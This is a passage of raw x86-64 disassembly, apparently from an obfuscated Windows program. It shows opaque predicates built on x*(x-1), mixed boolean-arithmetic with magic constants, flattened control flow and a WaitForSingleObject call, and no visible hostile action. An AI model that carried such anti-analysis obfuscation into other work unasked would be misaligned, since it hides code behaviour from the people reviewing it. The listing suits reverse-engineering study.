and al, r9b
mov ebx, r10d
or bl, r9b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
and r9b, r10b
or r10b, r8b
and cl, r8b
or cl, r9b
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0xe66de1ff
mov ebx, 0x82fce278
cmovne edx, ebx
test cl, 1
mov ecx, edx
mov ebx, 0xe66de1ff
cmovne ecx, ebx
jmp 0x14019d112
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xe49520b8
and ecx, edx
not edx
and edx, 0xe49520b8
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xeccc93ed
and ecx, 0x13336c12
or ecx, edx
mov ebx, ecx
xor ebx, 0xf7a64caa
xor ecx, 0x93311
and ecx, 0xd0893399
mov edx, ebx
and edx, 0x2f76cc66
or edx, ecx
mov ecx, edx
xor ecx, 0x2f76cc66
mov edi, edx
xor edi, 0xd75e0287
and edi, ecx
and ebx, 0xf828cee1
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xf828cee0
and ebx, 0x7d7311f
or ebx, edi
and ecx, 1
xor edx, 0x2f76cc67
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x407459b1
and edx, 0xbf8ba64e
or edx, ecx
mov edi, edx
xor edi, 0x1e89244e
xor edx, 0x407459b1
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0xa1169390
and ebx, 0x5ee96c6f
or ebx, esi
or ecx, edx
and edx, 0xa1169390
and edi, 0x5ee96c6f
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb90a13c0
and ebx, 0x46f5ec3f
or ebx, esi
or ecx, edi
and edi, 0xb90a13c0
and edx, 0x46f5ec3f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
mov edx, ebx
not dl
and dl, r8b
and bl, al
or al, r8b
xor al, 1
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
xor cl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9938c956
mov ebx, 0xc512dd82
cmovne edx, ebx
test cl, 1
mov ecx, 0x9938c956
jmp 0x14019a3d7
mov rax, qword [rbp - 8]
mov eax, 0x2bb3a61a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x57ab3443
and ecx, edx
not edx
and edx, 0x57ab3443
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa854cbbc
and ecx, 0x57ab3443
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xefe4405c
and edx, 0x101bbfa3
or edx, ecx
mov ecx, edx
xor ecx, 0xc7c0400c
xor edx, 0x11fa3
and edx, 0x28251ff3
and ecx, 0xd7dae00c
or ecx, edx
mov edx, ecx
xor edx, 0x8000a00c
xor ecx, 0x8210e32
and ecx, 0x5ffb4e32
and edx, 0xa004b1cd
or edx, ecx
xor edx, 0xa004b1cd
sete r8b
setne r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov r11d, edx
and r11b, cl
xor dl, cl
or dl, r11b
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
and cl, r10b
or cl, bl
and r9b, al
and r10b, r8b
or r10b, r9b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x96812895
mov ebx, 0x2553243c
cmovne eax, ebx
test cl, 1
mov ecx, eax
mov ebx, 0x96812895
cmovne ecx, ebx
test dl, 1
jmp 0x14019f4d9
mov eax, 0xe9f1652d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov ecx, ebx
or ecx, 1
mov esi, edx
not esi
mov eax, ecx
and eax, 0x55e6807e
mov edi, r9d
and edi, 0xaa197f80
or edi, eax
or ecx, esi
and esi, 0x55e6807e
and edx, 0xaa197f81
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and r9d, eax
and ecx, ebx
or ecx, r9d
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov edx, r8d
xor dl, cl
mov ebx, edx
xor bl, r9b
and bl, dl
and cl, r8b
and al, r9b
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xbbbce7ac
mov ebx, 0x6073dd4e
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x1401a14d9
mov eax, dword [0x1402656c8]
mov edx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0xd00d5ed2
mov ecx, esi
and ecx, 0x2ff2a12c
or ecx, ebx
xor ecx, 0x2ff2a12c
mov edi, esi
and edi, 1
or edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x894162b8
and edi, 0x76be9d47
or edi, ebx
and esi, 0x894162b8
and eax, 0x76be9d47
or eax, esi
xor eax, edi
xor ecx, eax
test ecx, eax
setne cl
sete bl
cmp edx, 0xa
setl al
cmp edx, 9
setg dl
and dl, bl
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov ebx, eax
xor bl, cl
xor bl, 1
mov edx, ecx
xor dl, 1
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and al, bl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x741b92cb
mov ebx, 0xacd451a6
cmovne eax, ebx
test dl, 1
cmovne eax, ebx
not cl
test cl, 1
mov ecx, 0x741b92cb
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, esi
or ebx, 1
mov edx, ebx
not edx
mov edi, esi
or edi, 0xc5645270
and ebx, 0xc5645270
and edx, 0x3a9bad8e
or edx, ebx
and edi, 0xc5645271
xor edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x6b5816f5
and edi, 0x94a7e90a
or edi, edx
and esi, 0x6b5816f5
and ecx, 0x94a7e90a
or ecx, esi
xor ecx, edi
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or al, r8b
or dl, bl
or cl, r8b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, al
xor bl, al
xor al, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xdbd28c0f
mov ebx, 0x6854708c
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xdbd28c0f
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov esi, edi
not esi
mov edx, edi
or edx, 0x7a4a425e
mov eax, edi
and eax, 0x7a4a425e
mov ebx, esi
and ebx, 0x85b5bda0
or ebx, eax
and edx, 0x7a4a425f
xor edx, ebx
and esi, 0x97b57020
and edi, 0x684a8fdf
or edi, esi
mov eax, edi
xor eax, 0x284a011d
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x47308ec2
and edx, 0xb8cf713d
or edx, ebx
xor edi, 0x7300000
and edi, 0x47308ec2
and eax, 0xb8cf713d
or eax, edi
xor eax, edx
not eax
or eax, esi
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r8b
mov ecx, r8d
xor cl, al
and cl, r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov edx, ecx
xor dl, 1
or cl, dl
mov r11d, edx
xor r11b, cl
or cl, dl
xor cl, 1
or cl, r11b
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or dl, cl
mov ecx, eax
xor cl, r10b
and cl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0x689cf47b
mov edi, 0x2479b679
cmovne eax, edi
test bl, bl
mov edx, 0x689cf47b
jmp 0x140192774
mov eax, 0x23b26c00
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xaf1797c6
and edx, 0x50e86839
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdd289182
and edx, 0x22d76e7d
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0x723f0644
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x7994bc29
and edi, 0x866b43d6
or edi, esi
or ecx, edx
and edx, 0x7994bc29
and ebx, 0x866b43d6
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x8c4d95cd
and ebx, 0x73b26a32
or ebx, esi
or ecx, edi
and edi, 0x8c4d95cd
and edx, 0x73b26a32
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x78ed5c4d
and ecx, 0x8712a3b2
or ecx, edx
xor ecx, 0x8712a3b2
cmp ecx, 0xffffffff
sete r10b
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r9b
and bl, al
mov r11d, r8d
xor r11b, r10b
and r11b, r8b
mov esi, r11d
not sil
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov edi, ebx
xor dil, cl
or cl, bl
xor cl, 1
or cl, dil
or dl, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
and sil, r11b
mov ecx, esi
and cl, r11b
xor sil, r11b
or sil, cl
mov ecx, esi
xor cl, 1
or cl, dl
xor dl, 1
xor cl, 1
or dl, sil
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor r9b, r10b
xor r10b, al
or al, r8b
xor al, 1
or al, r9b
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xcb1ecde9
mov edi, 0xb06e3798
cmovne eax, edi
test bl, 1
mov edx, 0xcb1ecde9
jmp 0x140192774
mov eax, 0xbd68ee3d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x75b80910
and ecx, 0x8a47f6ef
or ecx, eax
mov edx, ecx
xor edx, 0x8845f4e1
xor ecx, 0x5a00100
and ecx, 0x7a2030e
and edx, 0xf85dfcf1
or edx, ecx
mov ecx, edx
xor ecx, 0x7a2030e
mov ebx, edx
xor ebx, 0x7a2030f
and ebx, ecx
xor edx, 0xf0481c11
and edx, 0xf3481e19
and ecx, 0xcb7e1e6
or ecx, edx
mov edx, ecx
xor edx, 0x43001e3
mov eax, ebx
not eax
xor ecx, 0xf3481e18
mov edi, eax
and edi, 0x6ac7ec1c
and ebx, 0x953813e3
or ebx, edi
or eax, ecx
and ecx, 0x6ac7ec1c
and edx, 0x953813e3
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x3c8319b3
and ecx, eax
or eax, 0xc37ce64c
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x212ed65e
and edx, 0x1c8109a1
or edx, edi
or eax, ebx
and ebx, 0x212ed65e
and ecx, 0xded129a1
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc37ce64c
and eax, 0x3c8319b3
or eax, ecx
sete al
setne cl
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, cl
or cl, al
and al, r8b
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xd39af73a
mov ebx, 0xbcdf7083
cmovne eax, ebx
test cl, 1
mov ecx, 0xd39af73a
jmp 0x1401a0085
mov eax, 0xd1c58322
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x711589d9
and ebx, edx
not edx
mov edi, edx
and edi, 0xe12fdcc8
and ecx, 0x1ed02337
or ecx, edi
mov edi, ecx
xor edi, 0x10000000
xor ecx, 0x610588c8
or ecx, 0x8eea7626
mov esi, ebx
not esi
mov eax, ecx
and eax, 0xce981355
and edi, 0x31058888
or edi, eax
or ecx, esi
and esi, 0xce981355
and ebx, 0x3167ecaa
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x207762b9
and ecx, 0xdf889d46
or ecx, eax
mov eax, ecx
xor eax, 0x88901084
xor ecx, 0x50022941
and ecx, 0x760f2d5b
and eax, 0x89f0d2a4
or eax, ecx
xor eax, 0x89f0d2a4
mov ecx, eax
and ecx, edx
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
xor bl, r10b
mov r11d, ebx
xor r11b, dl
and r11b, bl
and r10b, dl
and cl, r9b
or cl, r10b
mov r8d, r11d
xor r8b, 1
mov ebx, ecx
xor bl, 1
mov eax, r11d
and al, r8b
mov edx, eax
xor dl, 1
xor al, r11b
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, cl
and dl, bl
or dl, al
xor bl, r8b
or cl, r11b
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x8da9e178
mov ebx, 0x33abb31a
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
not al
test al, 1
mov eax, 0x8da9e178
jmp 0x14019f4d9
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x610201a0
mov ecx, edi
and ecx, 0x2401241
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1041
xor ecx, 0xfdbfedbe
mov edx, edi
xor edx, 0x634213e1
and edx, edi
mov eax, edx
not eax
mov esi, ecx
and esi, 0xb352620c
and ebx, 0x400011e1
or ebx, esi
or ecx, eax
and eax, 0xb352620c
and edx, 0x4cad9df3
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9cbdec1f
and ecx, 0x634213e0
or ecx, eax
mov eax, ecx
not eax
and r9d, 0xdd1fe418
and edi, 0x22e01be7
or edi, r9d
mov edx, edi
xor edx, 0x20800ba5
xor edi, 0xdd1fe418
mov ebx, ecx
and ebx, 0x53685042
and eax, 0xac97afbd
or eax, ebx
or ecx, edi
and edi, 0x53685042
and edx, 0xac97afbd
or edx, edi
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and dl, cl
or dl, r9b
xor dl, 1
mov ecx, eax
and cl, bl
mov r8d, ecx
and r8b, al
xor cl, al
or cl, r8b
xor cl, dl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xc6d6ae9f
mov ebx, 0xf8cbe7e6
cmovne edx, ebx
test cl, 1
cmovne edx, ebx
not al
test al, 1
mov eax, 0xc6d6ae9f
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x7f82c723
mov edx, edi
and edx, 0x807d38dc
or edx, ebx
mov esi, edx
xor esi, 0x4c2080
xor edx, 0x64000120
mov eax, ecx
or eax, 0xe45c69b4
mov ebx, eax
not ebx
or edx, 0x1a031401
and edx, 0xfe131d35
and esi, 0x4c6080
or esi, edx
and eax, 0xfe131d35
and ebx, 0x1a0824a
or ebx, eax
xor ebx, esi
mov eax, ebx
not eax
and eax, 0x1ba3964a
and ebx, 0xe45c69b5
or ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x8bc6d6dc
and ebx, 0x74392923
or ebx, edx
and edi, 0x8bc6d6dc
and ecx, 0x74392923
or ecx, edi
xor ecx, ebx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov edx, ecx
and dl, al
and bl, r9b
or bl, dl
xor bl, 1
or bl, al
xor al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ecx, edx
xor dl, 1
and dl, bl
xor bl, 1
and cl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7ca51d0d
mov ebx, 0xaf2d9605
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x7ca51d0d
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x67346291
and ecx, 0x98cb9d6e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x98cb9d6e
and ecx, 0x67346291
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0x8c0ba2c5
and ecx, 0x73f45d3a
or ecx, edx
mov edi, ecx
xor edi, 0x11501c32
mov edx, ebx
not edx
xor ecx, 0x8c0ba2c4
mov esi, edx
and esi, 0x66a5e389
and ebx, 0x995a1c76
or ebx, esi
or edx, ecx
and ecx, 0x66a5e389
and edi, 0x995a1c76
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x6a1cdd7c
and edx, 0x95e32283
or edx, ebx
xor edx, 0x95e32283
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov edx, r9d
and dl, r8b
mov ebx, eax
and bl, cl
or bl, dl
xor bl, 1
or bl, r8b
or r9b, al
xor cl, al
and cl, al
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x94ef34a7
mov ebx, 0xd5402a1a
cmovne eax, ebx
test dl, 1
mov edx, 0x94ef34a7
jmp 0x140197197
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov ecx, edi
or ecx, 0xed4c4a20
mov ebx, eax
or ebx, 1
and ebx, 0xed4c4a21
mov edx, edi
and edx, 0x12b3b5de
or edx, ebx
and ecx, 0xed4c4a21
xor ecx, edx
and edi, 0x3cd03388
and eax, 0xc32fcc77
or eax, edi
mov edx, eax
xor edx, 0xc2224400
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x21dd89ff
and ecx, 0xde227600
or ecx, ebx
xor eax, 0x20d00188
and eax, 0x21dd89ff
and edx, 0xde227600
or edx, eax
xor edx, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
sete r8b
setne al
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, eax
or dl, cl
xor al, cl
not al
and al, cl
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
and dl, r8b
xor cl, r8b
or dl, cl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
and cl, r8b
xor dl, 1
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xba38c962
mov edx, 0x8fb3e10c
cmovne eax, edx
test bl, 1
mov edx, 0xba38c962
jmp 0x1401a0e85
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0xc45fa398
mov edx, esi
and edx, 0x3ba05c66
or edx, ebx
xor edx, 0x3ba05c66
mov edi, esi
and edi, 1
or edi, edx
mov edx, edi
not edx
and eax, edx
and edi, esi
or edi, eax
xor edx, edi
test edx, edi
setne r8b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ebx, r9d
xor bl, al
and bl, r9b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r11d, ebx
xor r11b, cl
or cl, bl
xor cl, 1
or cl, r11b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, 1
mov ebx, edx
xor bl, r10b
not bl
and bl, r10b
or dl, r10b
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov edx, eax
xor dl, r10b
and dl, al
and r8b, r9b
and al, r10b
or al, r8b
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, ebx
xor cl, 1
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, al
and cl, r8b
or cl, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1be7b50c
mov ebx, 0x8aebb9c4
cmovne edx, ebx
test al, 1
mov eax, 0x1be7b50c
jmp 0x1401a2f66
mov eax, 0x1a9f25ad
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x5040082
and edx, 0x90bb8620
or edx, ecx
mov edi, edx
xor edi, 0x90280200
xor edx, 0x244430dc
or ebx, 0x95bf86a2
mov ecx, ebx
not ecx
and edx, 0x24d7b4fc
and edi, 0x91280202
or edi, edx
and ebx, 0x24d7b4fc
and ecx, 0x4a004901
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xdd056510
and ecx, 0x22fa9aef
or ecx, edx
mov edx, ecx
xor edx, 0xb7451c4d
mov ebx, ecx
xor ebx, 0x4898c120
and ebx, 0xcfd8c56c
xor ecx, 0x3dbd35e0
and ecx, edx
and edx, 0x30273a93
or edx, ebx
mov edi, edx
xor edi, 0x30273a93
xor edx, 0xc6c8056c
mov esi, edi
and esi, 0x8af829ad
mov ebx, esi
and ebx, ecx
xor ecx, esi
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x7507d653
and ecx, 0x8af829ac
or ecx, ebx
and edx, 0xd6c83d6f
mov ebx, edi
and ebx, 0x2937c290
or ebx, edx
xor ebx, 0xd6c83d6e
and edi, 1
or edi, ebx
mov edx, edi
not edx
mov ebx, ecx
not ebx
mov esi, ebx
and esi, 0x1926c07f
and ecx, 0xe6d93f80
or ecx, esi
or ebx, edi
and edi, 0x1926c07f
and edx, 0xe6d93f80
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
not ecx
and ebx, 0x66157714
and ecx, 0x99ea88eb
or ecx, ebx
xor ecx, 0x66157714
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov r11d, ebx
xor r11b, 1
mov edx, ebx
and dl, r11b
mov ecx, edx
xor cl, 1
xor dl, bl
or cl, r11b
xor cl, 1
or cl, dl
or r11b, bl
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
xor cl, r9b
xor cl, 1
and r9b, r10b
or r10b, r8b
and al, r8b
or al, r9b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xa63321e9
mov ebx, 0x705c03f9
cmovne eax, ebx
test dl, 1
mov edx, 0xa63321e9
jmp 0x14019dc59
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
mov edx, esi
or edx, 0xbb153c0c
and edi, 0xbb153c0d
and ebx, 0x44eac3f2
or ebx, edi
and edx, 0xbb153c0d
xor edx, ebx
and esi, 0xd5ecf866
and ecx, 0x2a130799
or ecx, esi
mov ebx, ecx
xor ebx, 0x2a130799
xor ecx, 0xd5ecf866
and ecx, edx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ecx
or al, bl
xor bl, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xc8121403
cmovne ecx, r14d
test bl, 1
mov edx, ecx
mov ebx, 0xc8121403
jmp 0x1401a216b
mov eax, 0xaeb6ac34
cmp eax, 0xfffc3756
